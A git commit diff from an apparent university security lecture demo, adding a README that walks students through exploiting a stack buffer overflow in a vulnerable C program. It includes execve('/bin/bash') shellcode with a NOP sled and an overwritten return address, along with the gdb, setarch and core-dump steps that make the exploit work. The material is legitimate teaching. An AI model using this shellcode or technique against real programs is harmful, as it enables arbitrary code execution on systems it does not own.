added explanation of buffer overflow example
This commit is contained in:
parent
1204c70c2d
commit
e97c155816
|
@ -1,16 +1,12 @@
|
|||
SOURCES = $(wildcard *.asm)
|
||||
OBJS = $(SOURCES:.asm=.o)
|
||||
EXECS = $(patsubst %.asm,%.runme,$(SOURCES))
|
||||
all: $(EXECS) bufoverflow
|
||||
.PHONY: clean shellcode bufoverflow
|
||||
|
||||
%.o: %.asm
|
||||
nasm -g -f elf64 $<
|
||||
all: bufoverflow shellcode
|
||||
|
||||
%.runme: %.o
|
||||
ld -o $@ $<
|
||||
shellcode:
|
||||
nasm shellcode.asm
|
||||
|
||||
clean:
|
||||
rm -f *.o *.runme bufoverflow
|
||||
rm -f shellcode bufoverflow
|
||||
|
||||
bufoverflow:
|
||||
gcc bufoverflow.c -g -z execstack -o bufoverflow -O1 -fno-unroll-loops -fno-omit-frame-pointer -fno-dce -fno-dse
|
||||
gcc bufoverflow.c -z execstack -o bufoverflow -O1 -fno-unroll-loops -fno-omit-frame-pointer -fno-dce -fno-dse
|
||||
|
|
|
@ -0,0 +1,106 @@
|
|||
# bufoverflow.c demo
|
||||
|
||||
This demo corresponds to the **Buffer Overflow: Code Execution** slide of the Software Security lecture.
|
||||
The function `mystr()` is vulnerable as it has a buffer overflow when calling `fread()` with a wrong maximum lenght: only 512B would fit into the buffer but 1024B are passed as maximum length argument.
|
||||
Attackers can therefore overflow the buffer `char mystr[512]` by providing input files larger than 512B.
|
||||
|
||||
**NOTE:** Before starting here, make sure you have your `.gdbinit` file configured correctly (see Moodle).
|
||||
|
||||
## Demo usage
|
||||
|
||||
To compile the demo, use an x64 system with `gcc` and `nasm` installed and invoke `make`. Then:
|
||||
|
||||
`./bufoverflow <filename>`
|
||||
|
||||
If the file is too large, the program should receive a segmentation fault during execution.
|
||||
Otherwise, the program just exits gracefully.
|
||||
|
||||
## Exploiting the program within a debugger
|
||||
|
||||
Once we got the program running, we have to write the shellcode.
|
||||
We face two challenges here.
|
||||
1. We have to investigate how many bytes of shellcode we can place and what offset the saved `rip` has.
|
||||
2. We have to compute the stack pointer to our shellcode that overwrites the saved `rip`.
|
||||
We devote each a subsection for each challenge.
|
||||
|
||||
### Determinining the offset
|
||||
|
||||
### Computing the correct stack pointer
|
||||
|
||||
To compute the stack address, simply use `gdb`. To this end, we open the program in a debuger:
|
||||
|
||||
`gdb --args ./bufoverflow <path-to-input-file>`
|
||||
|
||||
Within `gdb`, we then set a breakpoint on the `mystr` function like this:
|
||||
|
||||
`break mystr`
|
||||
|
||||
You can then execute the program using the gdb command `run`. The program will execute until hitting the breakpoint. If you don't see registers or assembly you, simply enter `layout asm` and `layout regs`. You should then see the program before executing the `mystr` function prologue. Now, you can single-step using the `gdb` command `ni`. Single-step until after the function prologue (i.e., right after`sub rsp,0x200`). You then see the stack frame looking at `rbp` and `rsp`, where `rsp` points to the top of the stack and thus the single local function variable (the 512B buffer) in our function. Note down this value (in my case, `0x7fffffffe090`) and exit the debugger with SIGINT (i.e., CTRL+D) or using `exit` (noone does that).
|
||||
|
||||
### Compiling the shellcode
|
||||
|
||||
After having writting/adapted the shellcode, compile it using `make`.
|
||||
To double-check if the shellcode was compiled correctly, you can disassemble it using the command
|
||||
|
||||
`objdump -D -b binary -M intel -d -m i386:x86-64 ./shellcode | less -S`
|
||||
|
||||
It should start with a (long) `nop` chain, followed by the system call, the shell string (misinterpreted as code) and the shellcode pointer (likewise misinterpreted as code).
|
||||
|
||||
Once you're satisfied, invoke
|
||||
|
||||
`gdb --args ./bufoverflow ./shellcode`
|
||||
|
||||
and then use the `run` command to get your shell.
|
||||
|
||||
Exit with SIGINT (CTRL+D); the first SIGINT will exit the shell, the second the debugger.
|
||||
|
||||
|
||||
## Shellcode for exploits outside of the debugger
|
||||
|
||||
When you now try to exploit the program *without* using `gdb`, you will likely observe a segmentation fault like this:
|
||||
|
||||
```
|
||||
$ ./bufoverflow ./shellcode
|
||||
Segmentation fault
|
||||
```
|
||||
|
||||
This has **two** reasons, both of which you'll have to address.
|
||||
|
||||
### Stack randomization
|
||||
|
||||
First, by default, Linux randomizes the stack location to make attacks like yours harder.
|
||||
In `gdb` your attack worked as `gdb` disables this randomization to make debugging easier.
|
||||
You can disable this randomization by executing the program like this:
|
||||
|
||||
`setarch \`uname -m\` -R ./bufoverflow ./shellcode`.
|
||||
|
||||
### Adjusting the stack pointer
|
||||
|
||||
Second, the stack pointer you obtained using `gdb` is invalid when the program is being run without `gdb`.
|
||||
This is as `gdb` places environment variables on the stack that change (decrease!) the stack (i.e., `rsp` value).
|
||||
There are (at least) two solutions to this problem:
|
||||
|
||||
#### Variant A: Guesstimate the right stack address
|
||||
|
||||
We can take into account that `gdb` places environment variables that change (decrease!) the `rsp` value (see [here](https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it) for details and possible workarounds that however only work for programs without arguments).
|
||||
Thankfully, given that we have sufficient room for a `nop` sled in our sled, we can adopt to this and try to guesstimate a valid `rsp` value.
|
||||
Try to increase the value by 256B (0x100).
|
||||
This address should now point somewhere in the middle of our shellcode, i.e., into our NOP sled.
|
||||
Then recompile the shellcode and give it a try.
|
||||
|
||||
#### Variant B: Inspecting a core dump.
|
||||
|
||||
If you're really after the exact correct `rsp` value, you can also record a so-called `core` dump of the vulnerable program upon crash, and then inspect the core dump using `gdb`.
|
||||
To enable core dumps, run:
|
||||
|
||||
`ulimit -S -c unlimited`
|
||||
|
||||
Then, run the program and let it crash.
|
||||
|
||||
`setarch `uname -m` -R ./bufoverflow ./shellcode`
|
||||
|
||||
Now you should see a file called `core`, which is our core dump. We can inspect this using `gdb`:
|
||||
|
||||
`gdb ./bufoverflow ./core`
|
||||
|
||||
By inspecting the registers or memory content, you may be able to find out the correct `rsp` value. Note however that the core dump was taken *after* the function's epilogue and hence the `rbp` and `rsp` values will be clobbered. So it's always a little nasty to find the exact value and there's no systematic answer how to find it.
|
|
@ -1,23 +0,0 @@
|
|||
bits 64
|
||||
|
||||
global _start
|
||||
_start:
|
||||
|
||||
times 128 nop
|
||||
|
||||
; 59 sys_execve const char *filename const char *const argv[] const char *const envp[]
|
||||
; (rdi, rsi, rdx, r10, r8, r9)
|
||||
mov rax, 59
|
||||
lea rdi, [rel binbash]
|
||||
xor rsi, rsi
|
||||
xor rdx, rdx
|
||||
syscall
|
||||
|
||||
times 5 nop
|
||||
|
||||
binbash:
|
||||
db '/bin/bash', 0x00
|
||||
|
||||
ALIGN 512 ; 512-byte alignment for this part
|
||||
times 8 nop ; overwrite saved rbp
|
||||
dq 0x7fffffffdcd0 ; overwrite rip ([rbp+8])
|
|
@ -0,0 +1,23 @@
|
|||
bits 64
|
||||
|
||||
global _start
|
||||
_start:
|
||||
times 400 nop ; NOP sled
|
||||
|
||||
; 59 sys_execve const char *filename const char *const argv[] const char *const envp[]
|
||||
; (rdi, rsi, rdx, r10, r8, r9)
|
||||
mov rax, 59 ; system call number (59 = sys_execve)
|
||||
lea rdi, [rel binbash] ; load ptr to bash string into rdi
|
||||
xor rsi, rsi ; zero rsi
|
||||
xor rdx, rdx ; zero rdx
|
||||
syscall
|
||||
|
||||
times 5 nop
|
||||
|
||||
binbash:
|
||||
db '/bin/bash', 0x00
|
||||
|
||||
ALIGN 512 ; 512-byte alignment for this code after here
|
||||
times 8 nop ; overwrite saved rbp
|
||||
dq 0x7fffffffe090 ; overwrite rip ([rbp+8])
|
||||
;dq 0x7fffffffe1c0 ; overwrite rip ([rbp+8])
|
Loading…
Reference in New Issue